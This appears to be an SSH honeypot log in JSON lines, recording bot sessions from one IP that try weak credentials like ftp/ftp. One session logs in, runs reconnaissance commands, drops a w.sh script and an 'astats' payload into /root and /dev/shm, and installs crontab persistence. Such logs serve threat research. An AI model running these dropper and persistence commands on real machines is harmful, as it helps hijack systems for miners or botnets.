{"id":"9c8decba-c3af-4d4f-aabb-0e830c87e568","name":"pleasant-lucid-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"130.185.120.96","src_port":54822,"username":"ftp","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T12:34:26.708286+00:00","ended_at":"2026-08-20T12:34:28.453261+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftp","password":"ftp","method":"password","accepted":false,"tier":"common"}]}
{"id":"34e7efa0-ba58-42f3-ab5b-abe41ce23ae8","name":"ivory-thorny-skylark","protocol":"ssh","channel_kind":null,"src_ip":"130.185.120.96","src_port":54826,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T12:34:25.923674+00:00","ended_at":"2026-08-20T12:34:26.007897+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]}
{"id":"1b6c57a3-edac-4194-b881-0f4da60de0b4","name":"hollow-quaint-falcon","protocol":"ssh","channel_kind":"exec","src_ip":"130.185.120.96","src_port":49710,"username":"ftp","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":481,"probe_flagged":0,"exec_command":"uname -a","started_at":"2026-08-20T11:21:58.957191+00:00","ended_at":"2026-08-20T11:21:59.656559+00:00","ended_reason":"exec complete","commands":13,"transcript_bytes":1382,"events":[{"seq":1,"at":"2026-08-20T11:21:46.836790+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":2,"at":"2026-08-20T11:21:46.838532+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":3,"at":"2026-08-20T11:21:47.318952+00:00","kind":"input","latency_ms":null,"data":"cut -d' ' -f1 /proc/uptime"},{"seq":4,"at":"2026-08-20T11:21:48.272951+00:00","kind":"output","latency_ms":953,"data":"29309.67"},{"seq":5,"at":"2026-08-20T11:21:48.755998+00:00","kind":"input","latency_ms":null,"data":"sudo -l"},{"seq":6,"at":"2026-08-20T11:21:49.488062+00:00","kind":"output","latency_ms":731,"data":"bash: sudo: command not found"},{"seq":7,"at":"2026-08-20T11:21:49.971193+00:00","kind":"input","latency_ms":null,"data":"sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd \"$d\" 2>/dev/null && pwd && break; done'"},{"seq":8,"at":"2026-08-20T11:21:51.440165+00:00","kind":"output","latency_ms":1466,"data":"/root"},{"seq":9,"at":"2026-08-20T11:21:51.919268+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep processor | wc -l"},{"seq":10,"at":"2026-08-20T11:21:52.589556+00:00","kind":"output","latency_ms":669,"data":"1"},{"seq":11,"at":"2026-08-20T11:21:53.316566+00:00","kind":"input","latency_ms":null,"data":"cd \"/root\" && if [ ! -f \"w.sh\" ]; then cat > \"w.sh\" && chmod +x w.sh; fi"},{"seq":12,"at":"2026-08-20T11:21:53.796769+00:00","kind":"input","latency_ms":null,"data":"grep -E \"CentOS|Red Hat|AlmaLinux|Rocky\" /etc/os-release 2>/dev/null || true"},{"seq":13,"at":"2026-08-20T11:21:54.281183+00:00","kind":"input","latency_ms":null,"data":"\nPATH=$PATH:/usr/bin:/usr/local/bin\nCRON=\"$(crontab -l 2>/dev/null || true)\"\nif ! echo \"$CRON\" | grep -F '/root/w.sh \"astats\" \"netai\" \"kstats\" \"ssh 1 az\"' >/dev/null 2>&1; then\n  (echo \"$CRON\"; echo '@reboot  /root/w.sh \"astats\" \"netai\" \"kstats\" \"ssh 1 az\"'; echo '0 * * * * cd \"/root\" && ./w.sh \"astats\" \"netai\" \"kstats\" \"ssh 1 az\"') | crontab -\nfi\n"},{"seq":14,"at":"2026-08-20T11:21:54.762266+00:00","kind":"input","latency_ms":null,"data":"ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10"},{"seq":15,"at":"2026-08-20T11:21:55.947916+00:00","kind":"output","latency_ms":1184,"data":"  PID %CPU COMMAND\n    1  0.0 systemd\n  823  0.0 sshd\n 1024  0.0 nginx\n 1088  0.0 postgres\n 1121  0.0 node\n 1304  0.0 cron\n 1450  0.0 systemd-resolve\n 1499  0.0 bash\n 1521  0.0 ps\n 1522  0.0 head"},{"seq":16,"at":"2026-08-20T11:21:56.427834+00:00","kind":"input","latency_ms":null,"data":"ps aux | grep astats | grep -v grep | wc -l"},{"seq":17,"at":"2026-08-20T11:21:57.033017+00:00","kind":"output","latency_ms":604,"data":"0"},{"seq":18,"at":"2026-08-20T11:21:57.513794+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats"},{"seq":19,"at":"2026-08-20T11:21:58.470082+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats"},{"seq":20,"at":"2026-08-20T11:21:58.957900+00:00","kind":"input","latency_ms":null,"data":"cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats"}],"credentials":[{"username":"ftp","password":"ftp","method":"password","accepted":true,"tier":"common"}]}
{"id":"e223a8af-475d-47cc-b77c-71020b172c18","name":"wiry-polar-hamster","protocol":"ssh","channel_kind":null,"src_ip":"130.185.120.96","src_port":49726,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T11:21:45.056476+00:00","ended_at":"2026-08-20T11:21:45.148028+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]}
{"id":"d2bd7247-846c-4955-966a-6baaadf06825","name":"feral-dusky-seal","protocol":"ssh","channel_kind":null,"src_ip":"130.185.120.96","src_port":60990,"username":"ftp","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T10:58:15.435344+00:00","ended_at":"2026-08-20T10:58:17.523533+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftp","password":"A+!cE3bl$G83qYP","method":"password","accepted":false,"tier":"other"}]}
{"id":"f86027c1-663a-4a5b-b5ba-a64da3d58f96","name":"curious-grassy-turnstone","protocol":"ssh","channel_kind":null,"src_ip":"130.185.120.96","src_port":60998,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T10:58:14.658764+00:00","ended_at":"2026-08-20T10:58:14.744089+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]}